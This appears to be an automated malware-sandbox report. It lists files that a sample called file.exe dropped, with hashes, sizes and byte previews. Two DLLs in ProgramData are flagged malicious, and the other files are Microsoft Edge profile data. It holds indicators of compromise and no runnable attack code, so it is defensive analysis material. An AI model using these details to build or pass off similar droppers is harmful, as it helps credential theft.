SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\000f7067-712d-4633-ac0c-50803aa6482a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089782090782159
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWzdi1zNtPMWkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynNxkzItSmd6qE7lFoC
MD5:	2588DFB88400FB00467980B0D88AF93E
SHA1:	119306EE70F166ACE8C456DE90FF742433C78780
SHA-256:	5A5109C0E4FA400352464A0273462B5BE2DF1B2EB139410971BDB5C4E8625A2B
SHA-512:	1AB82E457AAC1EBA61B3559837710827AA3A5A3B26001BA28E21E140240C246A4A7F7D7779951C38B7B20971AD0BF05C0061FB65223703666C7442348363A043
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\195ebbce-b7c4-4581-88e3-f32e8ebf1678.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44910
Entropy (8bit):	6.096509960309326
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWdxi1zNt1GONmBt2pWKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynxX+KtSmd6qE7lFoC
MD5:	1E49FA9D62FA4F9B260FC6E94ACD7A8A
SHA1:	03289D5100A3896554988C8267843B45F8BCA83F
SHA-256:	6FFE8E4CFC5A9BF26719577E0B97DFE75EAC56110F20663B130F8EB9A084F44D
SHA-512:	1E2E7544951208BA674386C0A298A72CA618963F09D72753037A5AF84DB05DE27EEE838E4AB5F4079A3803E615A9B5351A774060D1A93F9DC1D1C1BB021814BA
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\238d8ee6-a0be-4c3d-b7cc-b847084136a6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44933
Entropy (8bit):	6.096411817300857
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWDxi1zNt1GO9uTSEgHKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7yntXPKtSmd6qE7lFoC
MD5:	8D121747E8EFBD930F9C0CCB1A7B7105
SHA1:	2443F1516D87A41B895DDB1B138F75858201CF9B
SHA-256:	4AB1A6D5D00D2074F9C11A79ACFD745C9465CD8BE0E29A0CE7AC6E3454F4E045
SHA-512:	4D3BE4F9B3F7DD14BFBCC49AAD57E13B5B4B2D61952688A2D212A74D6258EDC95EB2D024E0D72DC5C217B8E7B270C984EFBE043AAD539476B2D78DD6E2C39DFF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\43f53bdf-b697-44f7-9ecc-95a2fcd46802.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44933
Entropy (8bit):	6.096411817300857
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWDxi1zNt1GO9uTSEgHKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7yntXPKtSmd6qE7lFoC
MD5:	8D121747E8EFBD930F9C0CCB1A7B7105
SHA1:	2443F1516D87A41B895DDB1B138F75858201CF9B
SHA-256:	4AB1A6D5D00D2074F9C11A79ACFD745C9465CD8BE0E29A0CE7AC6E3454F4E045
SHA-512:	4D3BE4F9B3F7DD14BFBCC49AAD57E13B5B4B2D61952688A2D212A74D6258EDC95EB2D024E0D72DC5C217B8E7B270C984EFBE043AAD539476B2D78DD6E2C39DFF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67533839-1FE4.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.046715582721001354
Encrypted:	false
SSDEEP:	192:31as0m5tmznOAt6YxJgA8x5XSggykfhbNNETtIF/ERQcQe4BGnaLn8y08Tcm2RGY:lv0Utofgk9hZ7YH4MnY08T2RGOD
MD5:	51F8774C28522E599E2937014A1F6355
SHA1:	3FEE2B5B55B6D060AD2D1852C33D730C753FEDF2
SHA-256:	5A8B17B0BB46931C5A6736E18BB06773EC1BCFD17D55790B041FB7EC83410E9B
SHA-512:	820A9E3BB873A89D72DA2E6DAA755ABA96A6B62340B9F8BD666D5DAEE17947511228F89E554CBF7DA513003572D6240E48E18F7906FBA09C0B81BAFC0D624B0D
Malicious:	false
Preview:	...@..@...@.....C.].....@................g..8W..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".uvisoy20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................. .`2.......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089782090782159
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWzdi1zNtPMWkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynNxkzItSmd6qE7lFoC
MD5:	2588DFB88400FB00467980B0D88AF93E
SHA1:	119306EE70F166ACE8C456DE90FF742433C78780
SHA-256:	5A5109C0E4FA400352464A0273462B5BE2DF1B2EB139410971BDB5C4E8625A2B
SHA-512:	1AB82E457AAC1EBA61B3559837710827AA3A5A3B26001BA28E21E140240C246A4A7F7D7779951C38B7B20971AD0BF05C0061FB65223703666C7442348363A043
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF397ec.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089782090782159
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWzdi1zNtPMWkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynNxkzItSmd6qE7lFoC
MD5:	2588DFB88400FB00467980B0D88AF93E
SHA1:	119306EE70F166ACE8C456DE90FF742433C78780
SHA-256:	5A5109C0E4FA400352464A0273462B5BE2DF1B2EB139410971BDB5C4E8625A2B
SHA-512:	1AB82E457AAC1EBA61B3559837710827AA3A5A3B26001BA28E21E140240C246A4A7F7D7779951C38B7B20971AD0BF05C0061FB65223703666C7442348363A043
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a922.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089782090782159
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWzdi1zNtPMWkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynNxkzItSmd6qE7lFoC
MD5:	2588DFB88400FB00467980B0D88AF93E
SHA1:	119306EE70F166ACE8C456DE90FF742433C78780
SHA-256:	5A5109C0E4FA400352464A0273462B5BE2DF1B2EB139410971BDB5C4E8625A2B
SHA-512:	1AB82E457AAC1EBA61B3559837710827AA3A5A3B26001BA28E21E140240C246A4A7F7D7779951C38B7B20971AD0BF05C0061FB65223703666C7442348363A043
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3aa2b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089782090782159
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWzdi1zNtPMWkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynNxkzItSmd6qE7lFoC
MD5:	2588DFB88400FB00467980B0D88AF93E
SHA1:	119306EE70F166ACE8C456DE90FF742433C78780
SHA-256:	5A5109C0E4FA400352464A0273462B5BE2DF1B2EB139410971BDB5C4E8625A2B
SHA-512:	1AB82E457AAC1EBA61B3559837710827AA3A5A3B26001BA28E21E140240C246A4A7F7D7779951C38B7B20971AD0BF05C0061FB65223703666C7442348363A043
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.3488360343066725
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ25AmIpozQp:YQ3Kq9X0dMgAEiLIj
MD5:	8549C255650427D618EF18B14DFD2B56
SHA1:	8272585186777B344DB3960DF62B00F570D247F6
SHA-256:	40395D9CA4B65D48DEAC792844A77D4F8051F1CEF30DF561DACFEEED3C3BAE13
SHA-512:	E5BB8A0AD338372635C3629E306604E3DC5A5C26FB5547A3DD7E404E5261630612C07326E7EBF5B47ABAFADE8E555965A1A59A1EECFC496DCDD5003048898A8C
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":true,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a992a82f-7b10-45fa-bd41-558b1bc800e1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44910
Entropy (8bit):	6.096509960309326
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWdxi1zNt1GONmBt2pWKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynxX+KtSmd6qE7lFoC
MD5:	1E49FA9D62FA4F9B260FC6E94ACD7A8A
SHA1:	03289D5100A3896554988C8267843B45F8BCA83F
SHA-256:	6FFE8E4CFC5A9BF26719577E0B97DFE75EAC56110F20663B130F8EB9A084F44D
SHA-512:	1E2E7544951208BA674386C0A298A72CA618963F09D72753037A5AF84DB05DE27EEE838E4AB5F4079A3803E615A9B5351A774060D1A93F9DC1D1C1BB021814BA
Malicious:	false
